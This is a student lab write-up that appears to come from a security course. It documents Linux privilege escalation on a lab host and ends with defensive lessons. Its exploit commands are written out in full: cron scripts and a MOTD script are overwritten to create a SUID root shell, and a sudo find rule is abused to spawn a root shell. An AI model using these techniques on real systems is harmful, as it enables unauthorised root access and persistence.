Repository navigation
Week07
SEC-335 Linux Privilege Escalation Lab: Vulnerability, Discovery & Exploitation Guide
The objective of this lab was to enumerate a Linux target, identify potential privilege-escalation vulnerabilities, test the identified vectors, and document the results using terminal screenshots. The investigation covered LinPEAS, SUID binaries, sudo permissions, writable directories and scripts, scheduled root tasks, PATH configuration, and MOTD execution.
| Item | Value |
|---|---|
| Target hostname | ws-01 |
| Target IP | 192.168.3.205 |
| SSH port | 10001 |
| Initial user | bthomas |
| Initial UID | 1004 |
| Enumeration tool | LinPEAS |
This screenshot shows the target hostname, current user identity, and sudo -l output.
The SUID search was performed with:
find / -perm -4000 -type f 2>/dev/null
The following commands examined SUID binaries, directory permissions, cron configurations, and the PATH environment variable:
find / -perm -4000 -type f 2>/dev/null
ls -ld /opt/lab/bin
ls -la /opt/lab/bin
ls -ld /opt/lab/scripts
ls -la /opt/lab/scripts
ls -ld /etc/update-motd.d
cat /etc/cron.d/lab-backup
cat /etc/cron.d/lab-rotate
cat /etc/cron.d/lab-agent
echo "$PATH"
Additional checks examined the PATH configuration, executable permissions, script contents, and available tools:
cat /etc/profile.d/lab-path.sh
ls -l /opt/lab/bin/agent
ls -l /opt/lab/bin/python3
cat /opt/lab/bin/backup.sh
cat /opt/lab/scripts/rotate.sh
ls -la /opt/lab/tools
The following commands inspected the backup cron job, directory permissions, and original script:
cat /etc/cron.d/lab-backup
ls -ld /opt/lab/bin
cat /opt/lab/bin/backup.sh
The script was scheduled to run as root, making its permissions important to the investigation.
The following script was used during the test:
cat > /opt/lab/bin/backup.sh <<'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootshell
chmod u+s /tmp/rootshell
echo "[V1] Backup cron payload executed"
EOF
chmod +x /opt/lab/bin/backup.sh
cat /opt/lab/bin/backup.sh
The shorter script-writing commands were also entered:
echo '#!/bin/bash' > /opt/lab/bin/backup.sh
echo 'cp /bin/bash /tmp/rootshell; chmod u+s /tmp/rootshell' >> /opt/lab/bin/backup.sh
After waiting for the scheduled task, the resulting shell was tested. The screenshot shows root effective privileges.
The following command tested the sudo rule involving find:
sudo find /opt/lab/tools/ -exec /bin/bash -p \;
The hostname and id commands were then used to verify the target and resulting identity.
The rotation script was modified during the test:
echo '#!/bin/bash' > /opt/lab/scripts/rotate.sh
echo 'cp /bin/bash /tmp/rootshell; chmod u+s /tmp/rootshell' >> /opt/lab/scripts/rotate.sh
This screenshot documents the observed result after waiting for the scheduled task.
Enumeration identified a root-scheduled task referencing /opt/lab/bin/agent, which was initially absent.
This screenshot documents the observed result after the scheduled task had time to run.
The investigation examined the PATH configuration, which placed /opt/lab/bin first. Privileged scripts that rely on PATH rather than absolute executable paths can be vulnerable if untrusted directories are searched.
The screenshot documents the test performed for this vector.
The following script was prepared to test execution during a subsequent SSH login:
cat > /etc/update-motd.d/99-lab-pwn <<'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootshell
chmod u+s /tmp/rootshell
echo "[V6] MOTD payload executed"
EOF
chmod +x /etc/update-motd.d/99-lab-pwn
cat /etc/update-motd.d/99-lab-pwn
The SSH session was disconnected and re-established to test the login behavior.
The login output contains the marker:
[V6] MOTD payload executed
The verification output shows the hostname and euid=0(root). The real UID remained bthomas, while the effective UID was root.
The SUID Python executable identified during enumeration was tested as a potential privilege-escalation vector. The one-liner shown in the screenshot attempted to change the process identity to root and launch a privileged shell.
The identity and hostname were checked with:
hostname
id
Successful execution of both identity changes should show uid=0(root) and gid=0(root). The actual command output determines whether the test succeeded.
The lab investigated several Linux configuration weaknesses:
-
Writable directories: Privileged tasks can become vulnerable when scripts or executables are stored in user-writable locations.
-
Cron jobs: Root-scheduled scripts must not be modifiable by unprivileged users.
-
Sudo rules: Wildcard permissions require careful review when the permitted command can execute other programs.
-
Missing executables: Privileged scheduled tasks should not reference executable paths that unprivileged users can create or replace.
-
PATH configuration: Privileged scripts should use trusted executable paths.
-
MOTD scripts: Login-time scripts must be protected from unauthorized modification.
-
SUID binaries: SUID executables, especially interpreters and programs that can launch subprocesses, require careful auditing.
This lab combined automated enumeration with manual inspection to investigate potential Linux privilege-escalation paths. The tests covered cron jobs, sudo permissions, writable directories, PATH configuration, MOTD scripts, and a SUID Python executable. The LinPEAS report and terminal screenshots document the investigation. Each vector should be reported according to the results actually shown by the evidence, distinguishing a potential vulnerability from a verified privilege escalation.